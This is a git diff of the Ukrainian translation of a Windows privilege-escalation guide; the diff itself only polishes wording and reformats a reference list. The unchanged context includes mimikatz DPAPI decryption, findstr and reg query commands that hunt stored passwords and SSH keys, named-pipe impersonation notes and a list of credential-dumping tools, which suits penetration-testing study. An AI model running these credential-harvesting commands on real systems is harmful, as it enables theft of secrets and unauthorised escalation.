Якщо програми не взаємодіють з Менеджером облікових даних, я не думаю, що вони можуть використовувати облікові дані для даного ресурсу. Тож, якщо ваша програма хоче використовувати сховище, вона повинна якимось чином **взаємодіяти з менеджером облікових даних і запитувати облікові дані для цього ресурсу** з сховища за замовчуванням.
|
||||
|
||||
Використовуйте `cmdkey`, щоб перерахувати збережені облікові дані на машині.
|
||||
```bash
|
||||
@ -748,7 +748,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
```
|
||||
Ви можете використовувати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифрування.\
|
||||
Ви можете **екстрактувати багато DPAPI** **masterkeys** з **пам'яті** за допомогою модуля `sekurlsa::dpapi` (якщо ви root).
|
||||
Ви можете **витягнути багато DPAPI** **masterkeys** з **пам'яті** за допомогою модуля `sekurlsa::dpapi` (якщо ви root).
|
||||
|
||||
{{#ref}}
|
||||
dpapi-extracting-passwords.md
|
||||
@ -797,7 +797,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
|
||||
### Sticky Notes
|
||||
|
||||
Люди часто використовують додаток StickyNotes на робочих станціях Windows, щоб **зберігати паролі** та іншу інформацію, не усвідомлюючи, що це файл бази даних. Цей файл знаходиться за адресою `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` і завжди варто його шукати та перевіряти.
|
||||
Люди часто використовують додаток StickyNotes на робочих станціях Windows, щоб **зберігати паролі** та іншу інформацію, не усвідомлюючи, що це файл бази даних. Цей файл знаходиться за адресою `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` і завжди варто шукати та перевіряти.
|
||||
|
||||
### AppCmd.exe
|
||||
|
||||
@ -978,9 +978,9 @@ AppData\Roaming\gcloud\access_tokens.db
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
Раніше була доступна функція, яка дозволяла розгортання користувацьких локальних облікових записів адміністратора на групі машин через Group Policy Preferences (GPP). Однак цей метод мав значні недоліки в безпеці. По-перше, об'єкти групової політики (GPO), збережені як XML файли в SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані за допомогою AES256 з використанням публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї.
|
||||
Раніше була доступна функція, яка дозволяла розгортання користувацьких локальних облікових записів адміністратора на групі машин через Group Policy Preferences (GPP). Однак цей метод мав значні недоліки в безпеці. По-перше, об'єкти групової політики (GPO), збережені у вигляді XML-файлів у SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані за допомогою AES256 з використанням публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї.
|
||||
|
||||
Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих GPP файлів, що містять поле "cpassword", яке не є порожнім. Після знаходження такого файлу функція розшифровує пароль і повертає користувацький об'єкт PowerShell. Цей об'єкт містить деталі про GPP та місцезнаходження файлу, що допомагає в ідентифікації та усуненні цієї вразливості в безпеці.
|
||||
Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих GPP-файлів, що містять поле "cpassword", яке не є порожнім. Після знаходження такого файлу функція розшифровує пароль і повертає користувацький об'єкт PowerShell. Цей об'єкт містить деталі про GPP та місцезнаходження файлу, що допомагає в ідентифікації та усуненні цієї вразливості в безпеці.
|
||||
|
||||
Шукайте в `C:\ProgramData\Microsoft\Group Policy\history` або в _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (до W Vista)_ ці файли:
|
||||
|
||||
@ -1152,7 +1152,7 @@ reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
|
||||
reg query "HKCU\Software\TightVNC\Server"
|
||||
reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
```
|
||||
[**Витягніть ключі openssh з реєстру.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
[**Витягування ключів openssh з реєстру.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
### Історія браузерів
|
||||
|
||||
@ -1186,7 +1186,7 @@ com-hijacking.md
|
||||
|
||||
### **Загальний пошук паролів у файлах та реєстрі**
|
||||
|
||||
**Шукайте вміст файлів**
|
||||
**Пошук за вмістом файлів**
|
||||
```bash
|
||||
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
||||
findstr /si password *.xml *.ini *.txt *.config
|
||||
@ -1229,11 +1229,11 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
|
||||
Спільні сегменти пам'яті, відомі як **трубопроводи**, дозволяють процесам спілкуватися та передавати дані.
|
||||
|
||||
Windows надає функцію під назвою **Named Pipes**, що дозволяє несумісним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями, визначеними як **сервер трубопроводу** та **клієнт трубопроводу**.
|
||||
Windows надає функцію під назвою **Named Pipes**, що дозволяє несумісним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями, визначеними як **сервер іменованих трубопроводів** та **клієнт іменованих трубопроводів**.
|
||||
|
||||
Коли дані надсилаються через трубопровід **клієнтом**, **сервер**, який налаштував трубопровід, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Визначення **привілейованого процесу**, який спілкується через трубопровід, особистість якого ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубопроводом, який ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](#from-high-integrity-to-system).
|
||||
Коли дані надсилаються через трубопровід клієнтом, **сервер**, який налаштував трубопровід, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Визначення **привілейованого процесу**, який спілкується через трубопровід, особистість якого ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубопроводом, який ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](#from-high-integrity-to-system).
|
||||
|
||||
Також наступний інструмент дозволяє **перехоплювати комунікацію через названий трубопровід за допомогою інструменту, такого як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі трубопроводи для пошуку privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
Також наступний інструмент дозволяє **перехоплювати комунікацію іменованого трубопроводу за допомогою інструменту, такого як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі трубопроводи для пошуку privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
## Misc
|
||||
|
||||
@ -1347,7 +1347,7 @@ sc start newservicename
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Якщо вам вдасться **викрасти dll**, що **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з цими дозволами. Тому Dll Hijacking також корисний для цього виду ескалації привілеїв, і, більше того, якщо значно **легше досягти з процесу з високою цілісністю**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\
|
||||
Якщо вам вдасться **викрасти dll**, що **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з цими дозволами. Тому Dll Hijacking також корисний для цього виду ескалації привілеїв, і, більше того, якщо набагато **легше досягти з процесу з високою цілісністю**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\
|
||||
**Ви можете** [**дізнатися більше про Dll hijacking тут**](dll-hijacking/index.html)**.**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
@ -1376,7 +1376,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Перевірка на неправильні налаштування**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Витягує інформацію про збережені сесії PuTTY, WinSCP, SuperPuTTY, FileZilla та RDP. Використовуйте -Thorough в локальному режимі.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Витягує облікові дані з Диспетчера облікових даних. Виявлено.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розпилення зібраних паролів по домену**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розподіл зібраних паролів по домену**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh є спуфером PowerShell ADIDNS/LLMNR/mDNS/NBNS та інструментом "людина посередині".**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Основна перевірка привілеїв Windows**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Пошук відомих вразливостей привілеїв (ЗАСТОСУВАННЯ для Watson)\
|
||||
@ -1385,7 +1385,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
**Exe**
|
||||
|
||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Пошук відомих вразливостей привілеїв (потрібно скомпілювати за допомогою VisualStudio) ([**попередньо скомпільований**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перераховує хост, шукаючи неправильні налаштування (більше інструмент для збору інформації, ніж для ескалації привілеїв) (потрібно скомпілювати) **(**[**попередньо скомпільований**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перераховує хост у пошуках неправильних налаштувань (більше інструмент збору інформації, ніж ескалації привілеїв) (потрібно скомпілювати) **(**[**попередньо скомпільований**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Витягує облікові дані з багатьох програм (попередньо скомпільований exe в github)**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Порт PowerUp на C#**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Перевірка на неправильні налаштування (виконуваний файл попередньо скомпільований в github). Не рекомендується. Погано працює в Win10.\
|
||||
@ -1408,21 +1408,21 @@ _multi/recon/local_exploit_suggestor_
|
||||
```
|
||||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||||
```
|
||||
## Бібліографія
|
||||
## Посилання
|
||||
|
||||
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\\
|
||||
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\\
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
|
||||
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)\\
|
||||
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)\\
|
||||
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)\\
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)\\
|
||||
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)\\
|
||||
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)\\
|
||||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\
|
||||
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)\\
|
||||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
|
||||
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)
|
||||
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||||
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)
|
||||
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)
|
||||
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
|
||||
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||||
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)
|
||||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
|
||||
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)
|
||||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user